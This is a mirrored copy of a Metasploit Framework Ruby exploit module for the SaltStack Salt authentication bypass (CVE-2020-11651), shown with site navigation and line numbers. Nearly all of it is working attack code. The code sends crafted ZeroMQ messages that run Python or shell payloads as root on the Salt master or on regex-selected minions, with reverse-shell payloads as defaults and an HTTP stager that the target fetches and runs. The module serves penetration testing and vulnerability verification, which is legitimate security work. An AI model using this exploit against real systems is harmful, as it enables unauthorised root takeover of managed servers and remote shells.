CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/saltstack_salt_unauth_rce.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = GreatRanking
9
10
include Msf::Exploit::Remote::ZeroMQ
11
include Msf::Exploit::Remote::CheckModule
12
include Msf::Exploit::CmdStager::HTTP # HACK: This is a mixin of a mixin
13
include Msf::Exploit::FileDropper
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'SaltStack Salt Master/Minion Unauthenticated RCE',
20
'Description' => %q{
21
This module exploits unauthenticated access to the runner() and
22
_send_pub() methods in the SaltStack Salt master's ZeroMQ request
23
server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to
24
execute code as root on either the master or on select minions.
25
26
VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as
27
well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual
28
Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2,
29
1.3, 1.5, and 1.6 in certain configurations, are known to be affected
30
by the Salt vulnerabilities.
31
32
Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as
33
well as Vulhub's Docker image.
34
},
35
'Author' => [
36
'F-Secure', # Discovery
37
'wvu' # Module
38
],
39
'References' => [
40
['CVE', '2020-11651'], # Auth bypass (used by this module)
41
['CVE', '2020-11652'], # Authed directory traversals (not used here)
42
['URL', 'https://labs.f-secure.com/advisories/saltstack-authorization-bypass'],
43
['URL', 'https://community.saltstack.com/blog/critical-vulnerabilities-update-cve-2020-11651-and-cve-2020-11652/'],
44
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0009.html'],
45
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-salt-2vx545AG'],
46
['URL', 'https://github.com/saltstack/salt/blob/master/tests/integration/master/test_clear_funcs.py']
47
],
48
'DisclosureDate' => '2020-04-30', # F-Secure advisory
49
'License' => MSF_LICENSE,
50
'Platform' => ['python', 'unix'],
51
'Arch' => [ARCH_PYTHON, ARCH_CMD],
52
'Privileged' => true,
53
'Targets' => [
54
[
55
'Master (Python payload)',
56
{
57
'Description' => 'Executing Python payload on the master',
58
'Platform' => 'python',
59
'Arch' => ARCH_PYTHON,
60
'Type' => :python,
61
'DefaultOptions' => {
62
'PAYLOAD' => 'python/meterpreter/reverse_https'
63
}
64
}
65
],
66
[
67
'Master (Unix command)',
68
{
69
'Description' => 'Executing Unix command on the master',
70
'Platform' => 'unix',
71
'Arch' => ARCH_CMD,
72
'Type' => :unix_cmd,
73
'DefaultOptions' => {
74
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
75
}
76
}
77
],
78
[
79
'Minions (Python payload)',
80
{
81
'Description' => 'Executing Python payload on the minions',
82
'Platform' => 'python',
83
'Arch' => ARCH_PYTHON,
84
'Type' => :python,
85
'DefaultOptions' => {
86
'PAYLOAD' => 'python/meterpreter/reverse_https'
87
}
88
}
89
],
90
[
91
'Minions (Unix command)',
92
{
93
'Description' => 'Executing Unix command on the minions',
94
'Platform' => 'unix',
95
'Arch' => ARCH_CMD,
96
'Type' => :unix_cmd,
97
'DefaultOptions' => {
98
# cmd/unix/reverse_python_ssl crashes in this target
99
'PAYLOAD' => 'cmd/unix/reverse_python'
100
}
101
}
102
]
103
],
104
'DefaultTarget' => 0, # Defaults to master for safety
105
'DefaultOptions' => {
106
'CheckModule' => 'auxiliary/gather/saltstack_salt_root_key'
107
},
108
'Notes' => {
109
'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service
110
'Reliability' => [REPEATABLE_SESSION],
111
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
112
}
113
)
114
)
115
116
register_options([
117
Opt::RPORT(4506),
118
OptString.new('ROOT_KEY', [false, "Master's root key if you have it"]),
119
OptRegexp.new('MINIONS', [true, 'PCRE regex of minions to target', '.*'])
120
])
121
122
register_advanced_options([
123
OptInt.new('WfsDelay', [true, 'Seconds to wait for *all* sessions', 10])
124
])
125
end
126
127
# NOTE: check is provided by auxiliary/gather/saltstack_salt_root_key
128
129
def exploit
130
if target.name.start_with?('Master')
131
if (root_key = datastore['ROOT_KEY'])
132
print_status("User-specified root key: #{root_key}")
133
else
134
# check.reason is from auxiliary/gather/saltstack_salt_root_key
135
root_key = check.reason
136
end
137
138
unless root_key
139
fail_with(Failure::BadConfig,
140
"#{target['Description']} requires a root key")
141
end
142
end
143
144
# These are from Msf::Exploit::Remote::ZeroMQ
145
zmq_connect
146
zmq_negotiate
147
148
print_status("#{target['Description']}: #{datastore['PAYLOAD']}")
149
150
case target.name
151
when /^Master/
152
yeet_runner(root_key)
153
when /^Minions/
154
yeet_send_pub
155
end
156
157
# HACK: Hijack WfsDelay to wait for _all_ sessions, not just the first one
158
sleep(wfs_delay)
159
rescue EOFError, Rex::ConnectionError => e
160
print_error("#{e.class}: #{e.message}")
161
ensure
162
# This is from Msf::Exploit::Remote::ZeroMQ
163
zmq_disconnect
164
end
165
166
def yeet_runner(root_key)
167
print_status("Yeeting runner() at #{peer}")
168
169
# https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L1898-L1951
170
# https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L1898-L1951
171
runner = {
172
'cmd' => 'runner',
173
# https://docs.saltstack.com/en/master/ref/runners/all/salt.runners.salt.html#salt.runners.salt.cmd
174
'fun' => 'salt.cmd',
175
'kwarg' => {
176
'hide_output' => true,
177
'ignore_retcode' => true,
178
'output_loglevel' => 'quiet'
179
},
180
'user' => 'root', # This is NOT the Unix user!
181
'key' => root_key # No JID needed, only the root key!
182
}
183
184
case target['Type']
185
when :python
186
vprint_status("Executing Python code: #{payload.encoded}")
187
188
# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code
189
runner['kwarg'].merge!(
190
'fun' => 'cmd.exec_code',
191
'lang' => payload.arch.first,
192
'code' => payload.encoded
193
)
194
when :unix_cmd
195
# HTTPS doesn't appear to be supported by the server :(
196
print_status("Serving intermediate stager over HTTP: #{cmdstager_start_service}")
197
198
vprint_status("Executing Unix command: #{payload.encoded}")
199
200
# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.script
201
runner['kwarg'].merge!(
202
# cmd.run doesn't work due to a missing argument error, so we use this
203
'fun' => 'cmd.script',
204
'source' => get_uri,
205
'stdin' => payload.encoded
206
)
207
end
208
209
vprint_status("Unserialized clear load: #{runner}")
210
zmq_send_message(serialize_clear_load(runner))
211
212
unless (res = sock.get_once)
213
fail_with(Failure::Unknown, 'Did not receive runner() response')
214
end
215
216
vprint_good("Received runner() response: #{res.inspect}")
217
end
218
219
def yeet_send_pub
220
print_status("Yeeting _send_pub() at #{peer}")
221
222
# NOTE: A unique JID (job ID) is needed for every published job
223
jid = generate_jid
224
225
# https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L2043-L2151
226
# https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L2043-L2151
227
send_pub = {
228
'cmd' => '_send_pub',
229
'kwargs' => {
230
'bg' => true,
231
'hide_output' => true,
232
'ignore_retcode' => true,
233
'output_loglevel' => 'quiet',
234
'show_jid' => false,
235
'show_timeout' => false
236
},
237
'user' => 'root', # This is NOT the Unix user!
238
'tgt' => datastore['MINIONS'],
239
'tgt_type' => 'pcre',
240
'jid' => jid
241
}
242
243
case target['Type']
244
when :python
245
vprint_status("Executing Python code: #{payload.encoded}")
246
247
# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code
248
send_pub.merge!(
249
'fun' => 'cmd.exec_code',
250
'arg' => [payload.arch.first, payload.encoded]
251
)
252
when :unix_cmd
253
vprint_status("Executing Unix command: #{payload.encoded}")
254
255
# https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.run
256
send_pub.merge!(
257
'fun' => 'cmd.run',
258
'arg' => [payload.encoded]
259
)
260
end
261
262
vprint_status("Unserialized clear load: #{send_pub}")
263
zmq_send_message(serialize_clear_load(send_pub))
264
265
unless (res = sock.get_once)
266
fail_with(Failure::Unknown, 'Did not receive _send_pub() response')
267
end
268
269
vprint_good("Received _send_pub() response: #{res.inspect}")
270
271
# NOTE: This path will likely change between platforms and distros
272
register_file_for_cleanup("/var/cache/salt/minion/proc/#{jid}")
273
end
274
275
# https://github.com/saltstack/salt/blob/v2019.2.3/salt/utils/jid.py
276
# https://github.com/saltstack/salt/blob/v3000.1/salt/utils/jid.py
277
def generate_jid
278
DateTime.now.new_offset.strftime('%Y%m%d%H%M%S%6N')
279
end
280
281
# HACK: Stub out the command stager used by Msf::Exploit::CmdStager::HTTP
282
def stager_instance
283
nil
284
end
285
286
# HACK: Sub out the executable used by Msf::Exploit::CmdStager::HTTP
287
def exe
288
# NOTE: The shebang line is necessary in this case!
289
<<~SHELL
290
#!/bin/sh
291
/bin/sh
292
SHELL
293
end
294
295
end
296
297